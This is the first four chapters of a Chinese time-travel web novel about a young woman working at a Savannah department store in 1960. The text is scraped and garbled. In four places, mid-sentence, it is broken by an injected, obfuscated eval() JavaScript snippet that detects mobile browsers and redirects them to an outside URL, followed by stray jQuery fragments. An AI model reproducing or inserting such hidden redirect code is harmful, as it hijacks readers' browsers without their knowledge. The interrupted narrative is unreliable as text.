《美国丽人1960s》
1. 萨凡纳嘉年华(1)
萨凡纳是一座有历史的南方小城,曾做过佐治亚州的首府,城里到处都是法国殖民时代风格的老房子。
这座小城最大的百货商店是‘伍德兄弟商店’,它占据了市中心一座五层大楼,顶楼甚至有一家电影院...某种意义上,伍德兄弟商店是萨凡纳的半个娱乐中心了——也因此,乡下姑娘露西得到伍德兄弟商店美妆区导购工作时,是相当自豪的。
这样体面又漂亮的工作在60年代的美国南方小城,对女孩来说十分难得。毕竟女性的工作选择很有限,说得上体面的也就是秘书、速记员、会计、教师等几种。店员的话,则只有大型百货商店的店员算得上。
而后者又比前者多一份活力和光鲜,更能得到中产单身汉的青睐——当然了,当然了,这年头没几个女孩是为了一辈子做职业女性才出门工作的,工作只是从自己家到丈夫家的一个过渡。工作能让她们打发时间、略微补贴家用、有钱打扮自己,最重要的是,认识家庭生活圈子以外的未婚男性!
秘书之类的女职员,她们大多要从自己的男同事中寻找丈夫。百货公司的女店员则因为接触的人头更广,所以机会更多(至于这种接触没有前者稳定可靠,那又是另一回事了)。
“露西,这边儿。”一个穿格子连衣裙的女人叫住了刚从员工通道走进伍德兄弟商店的露西,她是露西的表姐,也是她能得到这份工作的最大原因。
露西的表姐在伍德兄弟商店的出纳室做主管,十分受信任。所以美妆区导购有缺,她推荐的人只要合适,总不会被拒绝。
“今天是你第一天来,还什么都不知道,我得给你找个领头的...”露西的表姐带她往里走,在营业区员工的打卡处教她打卡:“你的卡片已经准备好了,营业区的姑娘们都在这里打卡,从这儿就能进更衣间。”
一个大大的方形时钟挂在齐胸高的墙上,一边是一排排插在布口袋上的卡片。露西很快找到了写有自己姓名缩写的那张,在表姐的指导下,将卡片插进‘方形时钟’上方的一个插槽里。随着机械的‘咔哒’一声,打卡就完成了。
一张卡片能记录她们半个月的打卡时间,伍德兄弟商店也是半个月付一次薪水和提成。如果有迟到现象,是会被扣薪水的。
“我已经知道该怎么做事了?我是说,公司的地图,还有美妆区所有商品的价目表,我全都背下来了。”露西不太喜欢表姐将自己当作什么都不懂的小女孩,她之前也在镇子上的商店工作,对女店员的工作并非一无所知。
表姐的表情有些无所谓:“那很好,但多个人教你总不是坏事儿,你是新来的,不是吗——让我想想,谁更合适...哦!富尼叶小姐,你来的真够早的,这是我的表妹露西,她是美妆区新来的。”
推门走进更衣室,表姐一下看向了正在换鞋的一个女孩,亲热地将露西介绍给了她。
露西忍不住睁大了眼睛,这位富尼叶小姐可以说是她生平仅见的美女——这位美女穿着伍德兄弟商店女导购的制服,一件天蓝色为底色,小翻领和绲边为芥末黄的丝绸连衣裙。现在正坐在一张有着软包的换鞋凳上,将原本的棕色粗跟皮鞋换下,换成了一双淡绿色平底鞋。
富尼叶小姐换鞋的动作和一般人不一样,她没有图省事儿用脚跟蹭脚跟,而是弯腰的同时,挺直了背部,膝头拢着,单腿微微提起,然后用手脱掉了鞋子。最后穿鞋,是把鞋子整齐放好后,轻轻踩进去的。整个过程优美、轻巧,而且非常自然,丝毫没有矫揉造作之感。
“早上好,库伯小姐...露西对吗?很高兴认识你。”丽莲·富尼叶从换鞋凳站起来,要把换下的鞋子放进刚刚拿平底鞋出来的小柜子里:“...嗯,空的柜子还有几个,就在最边上,你可以挑一个放自己的东西,不过锁头得自己买。”
“是的,买一把锁。”表姐提醒露西:“虽然我不想说谁的坏话,但的确有些人会小偷小摸。她们不会拿你的支票本和珠宝,但口红或者午餐?我总是听到有人抱怨丢了这些。”
之后她又对丽莲说了她的请求,丽莲没有拒绝‘带新人’,等露西也换好平底鞋,就带她一起出去了。
女店员的工作忙碌,一般很不喜欢带新人,丽莲算是其中特例。对她来说,伍德兄弟商店的这份工作也只是一个‘中转’而已——在她的赚钱计划开始之前,她总不能闲着,再说这也多少能赚一点儿。
至于说丽莲为什么这么自信,并不把伍德兄弟商店女导购这样的好工作看的很重,大概和她的特殊经历有关。
实际她并不是一个土生土长的60年代美国南方小城姑娘,她来自于21世纪20年代的华夏,换成大白话就是她穿越了。而且还不是一般的穿越,而是穿越到了一部她上辈子看过的美剧里。
当然,美剧不重要,因为这部剧中不存在超自然因素,也没有过于常见的变态、连环杀手。那是一部相对朴素的警匪剧,女主是一个60年代诈骗犯,被抓进监狱后,因为‘特长’被招安,还和男主做起了搭档,专解决一些诈骗类案件。
嗯,性转版《猫鼠游戏》或者《妙贼警探》?
总之,忽视上辈子看过的这部剧,当她是穿越到了真实的美国过去也没问题,她就是这样做的——这辈子的她,生于1943年的美国,一开始也并没有想起上辈子的事儿,很长一段时间里,她只是个比同龄人聪明、早熟一些的普通女孩。
她这辈子的父母是一个流动剧团的人,爸爸是乐师,妈妈是演员。然后两年前的一场车祸,父母双亡。
之后她住进了姐姐姐夫家,并在去年年底申请到了哥伦比亚大学——虽然这年头的大学学费没有几十年后那么夸张,但也绝不便宜。姐姐家让她吃住没太大问题,可要供她去读在私立大学中也算很贵的哥伦比亚大学,那是不可能的。
甚至因为一些特殊原因,丽莲根本没想过张这个嘴。
所以今年年初,已经修够学分的她提前高中毕业,直接就去了拉斯维加斯。她爸妈当初工作的流动剧团现在在那边驻场,她和老团长通信过,确定自己过去能有一个位置...做这一行不是丽莲的志向,但她一个兜里没有一分钱,也没有别的技能的小姑娘,想要一年半时间攒出部分学费,也只能这样了。
60年代美国娱乐业,光鲜之下尽是罪恶。可她能怎么办?除了从小随父母、随剧团流动,耳濡目染学会的唱歌跳舞,她也没有其他比较能挣钱的技能了。
其实丽莲当时自己都不明白,自己为什么会对‘上大学’有那样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619167|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
强烈的执念。要知道,此时女性上大学真的没太大意义——最终目标都是嫁个金龟婿的话,大学学历也不是什么太大的加分项。
所以除非是完全不差钱,又或者是比较重视这些的知识分子家庭,不然女孩很少有上大学的。
总之,她抱着一年半挣出学费的念头去了‘不夜之城’拉斯维加斯,在那边呆了4个月,然后就回了这辈子的家乡萨凡纳。
她是逃回来的,一半是为了逃婚,一半是因为她意外想起了上辈子的事——有了上辈子的记忆,丽莲底气足了不少,自觉回萨凡纳也不见得没出路。
然后她就被打脸了,因为真的没什么出路。虽然总说60年代是美国的黄金年代,一些大城市,如纽约,和几十年后差别也不大。但那是大城市,如萨凡纳这种南方小城,其实和战前没什么分别。
平静、乏味、守旧...以及机会真的不多!
偶尔能看到一些机会,也会因为丽莲是个格外年轻的女孩,且没有足够的本钱,什么都不能做。这时候,丽莲才收起了好高骛远的心,让自己的创业之路更脚踏实地一些。
她打算利用6月中旬开幕的‘萨凡纳嘉年华’做点小生意,现在的话,是在准备阶段。只是出于不能坐吃山空的心态,才临时找了伍德兄弟商店导购员的工作——到现在为止,才刚做了一个月。
“...商店9点钟开张,晚上6点结束,午餐有45分钟休息时间...现在的话,还有10分钟正式站柜台,我们还有一点时间。”丽莲看了一下手表,带露西穿过员工通道,来到了二楼的美妆区。
这边是一个单独的大厅,里面有四组柜台,每一组柜台出了一角有一个出入口,四面都是柜台。一般两三个人负责一组柜台,这样就足够负责来自不同方向的顾客了。
“你顶的是凯伦的班儿,她好像和一个保险公司职员结婚去了...所以和我是一组柜台的——先要在这边拿钥匙,开玻璃柜的钥匙。”丽莲从美妆区入口处的存钥匙处领了自己的钥匙,又让露西拿属于她的。
“我假设你已经读过了‘员工须知’,就是顾客常问的问题应该怎么回答,以及‘微笑服务’那些...那我就没什么可教你的了,因为剩下的都是实践。”丽莲带她路过其他组的柜台,和已经来了的姑娘打招呼、做介绍。
“会收银吗?”打了一圈招呼后,丽莲带她进了她们那组柜台。
“呃...我以前在小镇商店里做过店员,但收银上不太一样。”露西不太好意思地说。
丽莲没有笑话她,只是点了点头:“这个很简单,只要做几次就全明白了。首先你要会填写‘购物清单’,写上顾客购买的东西、数量、计算价格,最后在清单最上方签自己的名字和日期。”
柜台上就成沓的、没有使用的购物清单,丽莲拿给露西看的同时,说:“就是这样的,你要很快算账,算出总价,客人总是不喜欢等待...然后,购物清单和客人付的钱一起放进这个筒子里,然后塞进密封的气动管,它们就会被送到出纳室。”
出纳会复核导购算的账,确认无误后会收钱、记账、敲章。而敲章后的购物清单,以及找零,会通过同样的管道系统送回来——这些露西都见过,但没有上手接触过。
2. 萨凡纳嘉年华(2)
丽莲带了露西一个上午...其实也算不上‘带’,只是让露西观摩自己怎么做,并且空闲时间会给她答疑解惑而已。
到中午休息时间,她们和她们这组柜台后的另一个女孩轮班午餐。丽莲是第二个,12点15分到下午1点之间——她尽可能快地在更衣间吃完了自己的午餐,一份早上带过来的鸡蛋黄瓜三明治,配的是装在水壶里的咖啡。
这份简餐丽莲也吃的慢条斯理,花了20分钟才吃完,而剩下的时间她依旧坐在更衣室里休息。当店员最难熬的地方就是久站,午餐休息时间她向来是能坐着绝不站着,最后才赶在结束前半分钟回到柜台。
除了带了露西这个新人,丽莲这一天和平常并无不同。而当快到6点时,她见美妆区已经没人,大家都陆陆续续准备‘偷溜’了,她也难得地早退了(她一般不会抢这几分钟的便宜)。不过她没有离开,而是去了楼上家用电器区。
“嗨!富尼叶小姐...你是要买东西吗?”家用电器区的小伙子见丽莲的视线在几台电视上扫过,猜测她是想买。本来想走的他立刻停了下来,有些紧张地搭话。
丽莲点了点头:“认识的人想要一台...预算是200美元以内,接受一次性付款,有什么好推荐的吗?”
家用电器区的小伙子清了清嗓子:“哦,200美元的预算可以做的选择就很多了,杜蒙、飞歌、摩托罗拉、银音...其实都可以,我推荐这款银音电视,21英寸、最新的款式、品质极佳,实际上我刚为我妈妈买了一台,她说这棒极了!”
“我们的零售价是189美元,基本所有的店铺都是这个价,不过如果能一次性付款,我能做主给您的朋友九五折。”
当下最畅销的家电就是电视机了,几乎所有的家庭都渴望它。哪怕是很穷的人家,可以没有舒适的沙发、漂亮的地毯、像样的冰箱,唯独不能没有电视机。电视机提供娱乐,带来精神上的享受,很多家庭宁愿很长一段时间里节衣缩食,也不愿意放弃它。
也是因为这个原因,电视机算是少有的没有‘内部员工折扣’的商品了,丽莲他们也只能以正常零售价购买。至于九五折的便宜,那是因为一次性付款——这个时候的消费贷显然不怎么盛行,所以除了车子这类大件,大城市以外的美国人,日常生活中的分期付款,实际都是由店家承担了账期。
当然,终端零售商一般也会向上压货款,所以这就是一头压一头的故事,没什么可说的。
所以像电视机这样绝对不便宜的商品,顾客一次性付款对零售商是大好事,由此给九五折也是应该的。
“OK,那就是179块55分,对吗?”丽莲说着拿出了手包里的支票簿,签了一张支票:“请送到东区桃树营地,我现在住那边。”
桃树营地是一个拖车营地,丽莲现在借住在那边一个朋友家。
“是的,我现在就给您发货,今晚就能送到,不用等到明天了!”家用电器区的小伙子响亮地说。
实际上,这台装进木条箱子里的银音电视,几乎和丽莲差不多时间到了桃树营地。然后丽莲签收后,没过几分钟,两个黑人姑娘就来了——她们就是丽莲说的‘认识的人’。
“你们看到了,刚从伍德兄弟商店送来的新款银音电视,零售价189块。因为一次性支付,所以打了九五折,喏,这是发票,你们付我189块就能拿走这台电视机了。”丽莲敲了敲装电视的木条箱,干脆地说。
两个黑人姑娘拿了钱给丽莲,千恩万谢地抬着电视机离开了。
她们一走,不远处站在拖车门口的朋友玛丽就过来劝说:“亲爱的,你不应该帮她们的忙的,如果让人知道你和那些黑人有来往,你就没法在萨凡纳立足了。”
是的,虽然丽莲从这一单里赚到了快10美金,在朋友玛丽看来依旧是她帮了忙——因为这是60年代的美国!即使林肯颁布《解放黑人奴隶宣言》已经快100年了,美国依旧是一个种族歧视极端严重的国家。
这个时候,马丁路德金还没有发表《我有一个梦想》演说,林登约翰逊总统也还没有签署《投票权法》,确保黑人也能参与选举投票...尤其是在美国南方,种族隔离还无处不在。
就比如伍德兄弟商店,就是不接待黑人的,而城里很多商店都是如此。少数会做黑人生意的店(一般店主也是黑人),很多商品批发给他们时就会加价,这被称之为‘黑人税’。以这台189美元一台的银音电视机为例,黑人能去的店铺普遍会加价20块。
当然,那样他们倒是有一个好处,就是可以分期。但话说回来,电视机的分期一般就是两三期而已,更别说作为南方小城,要在这里找到卖黑人电视机的店是很难的——很多黑人家庭只能被迫接受邮购。
但邮购有电视机运输途中损坏等风险,而作为黑人是很难找到地方修理,以及事后索赔的。So...丽莲还真是帮了他们忙了。
实际上丽莲也不是为了挣那10块才答应帮忙的,她的确认识那两个黑人姑娘,她们大概是看出了她对黑人没有偏见,又恰好在伍德兄弟商店上班,所以才会请求她吧——丽莲没有一分钱不赚,是不想惹麻烦。
她赚一点钱,大家可以认为她只是贪小便宜。但要是一点钱不赚,那要犯嘀咕的人就多了。
“我不在乎别人知道我跟黑人有来往,你知道的,我一直信奉种族平
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619168|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等。”丽莲在没有恢复记忆以前,遵从本能就是这个认知了,现在就更是这样了。她因为知道玛丽也没有多少种族歧视,最多就是因为身处这个环境,多多少少有些介意,这才能随意说这种话。
不过丽莲也很清楚,这种事没办法讨论、争辩,大环境不改变,说什么都没用。所以很快转移了话题:“emmm...怎么样,早上出门时不是说今天要采购吗?买东西了吗?没有的话,我陪你去吧,帮你拎东西。”
玛丽白天要去学校,放学后的消遣又多,怎么可能做了采购!说不定就等丽莲回来和她一起,丽莲早就预料到她的回答了。
于是玛丽果然像她想的那样,注意力转移到了采购上,和丽莲一起去了附近的杂货店买东西。
“黄油用完了,妈还说要买一些沙丁鱼罐头和鲑鱼罐头,还有明天吃的面包、大瓶装牛奶...”玛丽对照着采购清单,嘀嘀咕咕搜索着自己需要的商品。
丽莲也扫了一眼杂货店里的货架,相比起伍德兄弟商店,桃树营地附近的杂货店,各种商品都要便宜很多。不过,相较而言种类和品质也就多有不如了。
这样想着的丽莲也跟着挑选了一些太妃糖、巧克力、盒装饼干、新鲜水果、冰淇淋之类的‘零食’——这主要不是她自己吃,而是给玛丽家的孩子吃。
过去,丽莲和玛丽一年之中有1/4的时间是同学,两人由此成为了朋友。现在她借住在玛丽家,说是只借了一张小床,每个礼拜还交伙食费,可依旧有一份人情在。更别说,之后丽莲要做的生意,还要借人家的光,所以她平时很注意做人。
玛丽家算是一个‘游乐园世家’,家里几代人都是做游乐园的。这种‘游乐园’并不是固定经营的那种,而是移动游乐园。一般是一年之间在几个不同时段的嘉年华之间往来,比如说6月中旬开幕、为期两个月的‘萨凡纳嘉年华’,就是他们固定的场子之一。
萨凡纳嘉年华期间,城东的空地上会搭建起各种游乐设施,本地居民和游客都可以去玩——这年头,哪怕是美国,绝大多数城市也是没有自己的游乐园的。这种移动游乐园让小城市,以及周边乡镇的居民,也可以不用跑多远就来玩,算是极大丰富了大众的娱乐生活吧。
玛丽家经营的也不是一整个游乐园,具体来说,他们家只做摩天轮这个项目。而现在这段时间,桃树营地几乎被‘游乐园经营者’们占领了,有人做鬼屋、有人做旋转木马、有人做过山车、有人做迷宫......
也正是因为一家人要四处赶场,所以玛丽和丽莲才只能做1/4的同学——丽莲之前也随父母那个流动剧团到处跑,但他们和玛丽一家只重合了萨凡纳嘉年华。
3. 萨凡纳嘉年华(3)
杂货店采购完成,离开的时候,丽莲注意到对面正在装修的建筑...那是一间即将开业的‘折扣商店’。
这个时候所谓的‘折扣商店’,在丽莲看来就是和超市差不多的东西——这种店讲究大量进货、品类齐全、薄利多销、自助购物等等。与百货公司相比,或许店铺本身更像个仓储中心,但商品是一样的,而且便宜得多。而与杂货店比较,他们齐全、气派、质优的同时,价格也差不多。
这在此时算是新潮流了,这类折扣商店在全美也才刚超过1000家的样子...不过,作为后来人,丽莲当然知道这种商店模式前途远大。其中最为人所熟知,也是市场上的绝对王者的,大概就是‘沃尔玛’了。
不过在1960年的当下,第一家沃尔玛还未开设,沃尔玛的创始人还在经营‘山姆’...是的,就是那个‘山姆’,山姆论出生,比沃尔玛还早,名字就取自创始人本人的名字。不过1960年的山姆,和半个多世纪后的山姆,经营方式不是一回事。
这个时候市场上,折扣商店领域的弄潮儿们,几乎每一个都比沃尔玛创始人资金雄厚。没办法,折扣商店的经营面积比传统商店都大,运行成本也高,资本不够是很难入局的。
眼前这家折扣商店,灯牌已经挂起来了,名叫‘Youmart’,和‘Walmart’很像?因为后缀‘mart’本来就是‘卖场’的意思,这类店取这种后缀再正常不过了。‘Youmart’如果翻译成中文,一种可以走意译,翻译为‘大众卖场’,另一种兼顾音译,就是‘优卖’了。
这家折扣商店的店主取这个店名,在丽莲看来算是很有经验的了。因为她上辈子看过沃尔玛创始人的传记,所以知道‘Walmart’这个店名之所以成立,很大原因就在于短。这样定制灯牌的时候,字母减少,灯泡的数量也就少了。
这样无论是成本、维修、电费,各方面都会少很多...一家店的时候这点费用还不那么明显,分店开的多了,那就是一笔大的开支,而零售业本来就得锱铢必较。
从这个角度来说‘优卖’和‘沃尔玛’都很注意细节。
而丽莲之所以关注这个,当然不是因为她想进军零售业,而是想到了自己差点成为‘优卖’的老板娘——她在拉斯维加斯时,被‘优卖’的老板求婚了!她对那位多金青年印象很好,当时在剧团又做的很不开心,然后一时冲动就答应了对方的求婚。
结果就是婚姻许可证上签字之后,要去递交的路上,她出了一个小车祸恢复了记忆...她几乎是从医院直接逃走的。
对于她的结婚对象,丽莲感到很抱歉,但恢复了记忆的她真的没法面对这个——她原本就是一时冲动答应的求婚,恢复记忆后,更不可能接受这辈子才17岁就结婚了。
而且,她的结婚对象,还是她穿越的这部美剧里,女主第二季的CP,这更加搅乱了她的思绪(她就是认出了他,才意识到自己是穿越到了美剧中,不然根本看不出这和真实历史中的美国有什么不同)。
“丽莲,你在看什么?”玛丽注意到丽莲有点儿走神了,顺着她也看到了还在装修的‘优卖’,好奇地问。
丽莲回过神来:“没什么,只是觉得折扣商店是个好买卖...不过这和我们没什么关系,不是吗?”
于是这个话题就到此为止了,丽莲和玛丽回了桃树营地——丽莲现在和玛丽住一间房,玛丽家的拖车有三个卧室,一个当然属于她父母,还有一个是她两个弟弟住。她的这个房间,过去很长时间里也住着她和她姐姐。
直到她姐姐珍妮弗上了大学,房间才多数时间由她一人支配,不过属于她姐姐珍妮弗的那张小床一直都在,丽莲这才能比较方便地住进来。
丽莲这一晚也照常睡在玛丽的上铺,第二天快7点时在生物钟的影响下起床。这个时候,拖车里只有厨房有一点声音,应该是玛丽的妈妈华莱士夫人在做早饭。丽莲就是趁着盥洗室还没人,抓紧时间去洗漱换衣。
等到打理得差不多,玛丽正好要进去洗澡...美国人习惯洗晨澡,这可能和他们多数人都有体味有关,为了尽可能保证白天与人交际时不失礼也只能这样了。这方面,丽莲运气比较好,她这辈子是白种人中那不到10%的幸运儿,所以她没有狐臭。
再加上日常注意清洁和饮食,她得以保持和上辈子差不多的习惯,即晚上洗澡,充分享受热水洗涤身体带来的干净和松弛后再睡觉。早上的话,除非当天有很重要的见面,不然她只是普通洗漱就好了。
“亲爱的,早餐只差松饼了,你是先吃早餐,还是干点儿别的再吃?”丽莲从盥洗室走出来,华莱士夫人就叫住了她。
丽莲看了一眼就知道今天的早餐内容了——有牛奶、沙拉和‘松饼早餐全餐’。
松饼早餐全餐可以当作一种固定套餐,一般包括薯饼、煎蛋、培根和淋了枫糖浆的松饼。将它们一起盛在一个大盘子里,就是一顿相当丰盛、能够给上午工作提供充足热量的早餐了。
对于丽莲来说,不加松饼反而更适量。所以几乎没有犹豫,就拿了一个盘子,夹了一个薯饼、一个煎蛋、一片培根,再一点点沙拉,配上昨天买的牛奶,坐在桌边不急不慢地吃了起来。
这个早餐吃到了7点半,到玛丽坐到了餐桌旁,华莱士家其他人抢着用盥洗室时才结束。
这时候丽莲才回她和玛丽的房间化妆、换衣服,衣服就是伍德兄弟商店的制服没什么可说的,化妆也是因为工作要求。不然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619169|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以她17岁青春无敌的状态,根本不会想要化妆。
不过即使需要化妆,丽莲下手也比此时的‘职业女性’轻很多——喷上津尔氏金缕梅爽肤水,再搽一点儿玉兰油保湿霜,算是打了底。然后就是粉底液、睫毛膏、眼影、眉笔、遮瑕、修容、腮红、口红...这些轮番上阵了。
六十年代的美国,化妆品好不好用先不说,至少现代化妆品各种都有了。
丽莲上辈子从小学画画,到高中才停,因为画画练出来的手稳和审美,化妆上向来有一手,还曾经考虑过做美妆博主(她大学学的电视编导,毕业后做编剧,这一行无名时都很穷,搞点副业很常见)。所以对付一款工作妆而已,小意思,不到10分钟就搞定了。
如果这年头的化妆品和化妆工具能好用一些,这就是一个5钟快手妆。
反而是头发花了一二十分钟,而这已经算很快了。这时候女性发型,女学生先不说,扎个马尾辫最简单,也挑不出错。但一旦脱离女学生的身份,却依旧保持那类造型,就会被轻视——而‘成年女性’的发型,最重要的原则就是,完成发型后不能过肩。
所以,无论是披着的卷发,还是绾成发髻,都要精致利落。
因为这个原因,当下成年女性没几个会留长发,大多数头发剪的很短,大概就是波波头,甚至精灵头的长度。日常通过卷发筒打卷,刷头塑出造型——每天早上光做这个,经常就会花掉她们一个小时!
丽莲不太喜欢这个,费时是一方面,一个弄不好就会像‘大妈头’是另一方面。这方面的代表人物大概就是伊丽莎白·泰勒了,即使是那样的美人,这种发型下也留下了很多让人吐槽的影视记录。
所以她都把头发留得稍长,大概是洗完头后经过梳理,能到肩胛骨的长度。这样不算很长,打理起来并不麻烦,平常盘成简单发髻,也不怎么花时间。
丽莲就这样在半个小时内完成了化妆、梳头、换衣的工作,这在很多女士身上经常是要花两个小时的...这也是压在此时职业女性身上无形的负担。可要是做不到这些,她们就会被体面工作拒绝,实在很无奈。
最后,丽莲在8点零几分钟,就拎着自己的手提袋出门了。她没有选择乘坐公交车,桃树营地到伍德兄弟商店,步行只要二三十分钟,她一般都走路过去...这也是她选择伍德兄弟商店工作的原因之一,离她落脚的地方近。
到了伍德兄弟商店,打卡、换鞋、稍微整理一下,就像过去一个月每天一样,她准时准点、一丝不苟地出现在了美妆区的柜台后,任何人都挑不出一点儿毛病(女导购员的主管总想挑她的毛病来着)。
就这样,又认认真真工作了一天,就到了丽莲非常期待的领取薪水的时间。
4. 萨凡纳嘉年华(4)
伍德兄弟商店是半个月发一次薪水,而且员工第一次领薪时是拿不到钱的,要延后到下一次。这有点儿像租房扣押金?总之要辞职走人的时候才能彻底结算。
也就是说,丽莲虽然在伍德兄弟商店工作一个月了,这却是第一次拿钱。在此之前,她还在靠之前在剧团工作时存的钱生活...在拉斯维加斯4个月,剧团的工作对丽莲来说很煎熬,毕竟应对各种不怀好意的男人不是她所擅长的,但确实赚到了钱。
算下来,她光是存下来的钱也有1000块左右,另外还买了一些行头什么的呢。
4个月1000块在1960年的美国是什么概念?此时纽约的大公司男性白领,有一定工作年限的那种,一个礼拜普遍也就八十几、九十几美元。这种情况下,只要没结婚,足够一个年轻人在纽约这样的TOP1城市过单身贵族生活了。
而他们也只是税后月薪三百多块而已,大城市里住得贵,此时的基尼系数又动辄40%、50%(包含外食),1000块怕是两年也攒不下来——要知道,在今年涨价20%以前,一辆甲壳虫汽车的售价也才1000美元!
丽莲是在下班后才去经理办公室领薪的,因为今天是发薪日,有不少人来的比她早,所以她还得排队等待。等到她时,经理看了她一眼,让她在簿子上签字的同时,在一旁打开的抽屉里,竖起来的两排信封中,准确地抽出了她的。
丽莲走出办公室,在走廊上才拆开了信封,里面有工资条,也有现金钞票。她在伍德兄弟商店的底薪是半个月60块,另外还有提成——这是她最开始半个月的提成,25.6美金,有零有整。她估计后半个月的提成能高一些,不过即使是这样,85.6块的税前半月薪,在萨凡纳这样的南方小城,对一个年轻姑娘也很不错了。
当然,还需要缴税,好在这个时候的税率对收入不高的打工人还算友好,只有一项6%的社会保障税而已!就连后世绝对少不了的医疗保险税,也是1965年后才有。而6%的社会保障税,是个人和雇主各承担一半,所以丽莲税后半月薪也还有83块出头。
确定薪水没有大的问题,丽莲就离开了伍德兄弟商店。她走出商店,就看到一对快活的年轻人,正一起坐进一辆红白拼色的克莱斯勒·纽约客敞篷车,那是一辆少见而漂亮的车子。
丽莲还认出了两个年轻人之一,其中那个女孩艾玛...也是她们美妆区的导购员。至于坐进驾驶席的那个男青年,她就不确定了——但这也没什么好说的,伍德兄弟商店漂亮的女导购们,总是不缺少开车带她们出去约会的男人。
不过,多数情况下,那些男人都是开福特、雪佛兰、道奇、普利茅斯、庞蒂亚克,偶尔有开别克、福特水星、克莱斯勒纽波特等就很不错了,是值得拿下的结婚目标。毕竟后者在美国车里算中档,甚至中档偏高档了,能开这种车的,一般也能买得起郊区不错社区的房子。
至于高档车,外国进口的不算,只算美国国内的,就有林肯、凯迪拉克、克莱斯勒帝国等。而实际上,除非是在纽约、洛杉矶等超级都市,此时的美国普通城市,可能整座城市都见不到几辆这种所谓的‘高档车’。
昂贵只是原因之一,很多本地精英买得起,但不愿张扬才是更重要的——六十年代初的美国人,还大体保持着清教徒式的朴素克制,这也是被美国人称之为‘纯真年代’的最后绝响。
而克莱斯勒·纽约客也算高档车了,不过要稍次于真正的第一梯队。但这并不代表这个档次的车在萨凡纳会更常见,实际因为定位不上不下,这类车甚至比高档车更少见一些。
丽莲也没有因此停下,只是视线短暂落下后,就准备步行回住的地方。
她当然不知道,那开克莱斯勒·纽约客的男青年目光一直追随她离开,回过神来后,立刻向艾玛打听:“刚刚那姑娘也穿商店的制服,她也是导购员吗?”
男伴打听另一个姑娘,这让艾玛不太高兴。但这个问题的答案她不回答也能打听到,所以只能不情不愿地点头。然后很快说:“扎克,你不是说要带我去岛上玩儿吗?我们赶快出发吧。”
萨凡纳临海,不过要说附近海滨风光最好的地方,还得是不远的泰碧岛,萨凡纳的居民提起来都只说‘岛上’。
‘扎克’有些心不在焉地点了点头,发动车子,然后一路上都在问丽莲的事儿。甚至上了岛后,对艾玛也完全没有了之前的热情。
翌日,‘扎克’就光明正大地走进了满是女士的伍德兄弟商店二楼美妆区,站在了丽莲面前。
“嗨!早上好...呃...我是说我想买个礼物。”当丽莲听到他的招呼声,转过身来向他微笑时,他一下就结巴了起来。
“是送亲近的女士吗?长辈、姐妹?还是女友?”丽莲没认出他是昨天开克莱斯勒·纽约客的男青年,主要是当时没太认真看,而且他显然没有他的车让人印象深刻。丽莲只是根据他的年纪,判断不太可能结婚,所以没提妻子。
“不、我是说我还没有女友,是送给妹妹的,她和您年纪差不多,所以能请您帮忙挑选吗?”扎克的确有一个妹妹,但今年才8岁,这显然就是撒谎了。
丽莲才不管是不是撒谎呢,对方在她眼里只有顾客一个身份,最值得关注的就是这单成了能有提成。所以她不管其他,只按照他有一个和自己同龄的妹妹的前提,提供专业的购买建议。
“...她的皮肤是什么色号,您能形容一下吗?发色呢?...”
了解一些基本的情况,她就基于此推
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619170|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
荐起商品来。不过推荐来推荐去,最后她还是拿出了一瓶香水和两支口红:“...不论是化妆,还是护肤,其实都要看是否适合,令妹不在的话,很难挑选合适的商品。”
“不过口红和香水是例外,只要不太离谱,总是讨人喜欢的。”
对方选了一瓶香水,这对丽莲来说是好事,此时香水可比口红贵多了。口红普遍都在一两块一支,便宜的也有几十美分一支的。哪怕是奢侈品牌出的,也不会超过几块钱。香水就不同了,总是与昂贵联系在一起。
比如对方选的这一瓶科蒂祖母绿,要50美元一瓶呢!
这一天之后,连续三天,丽莲都在上班时见到了这位扎克先生,如果这都不明白对方的意思,那她就是个大傻瓜了。
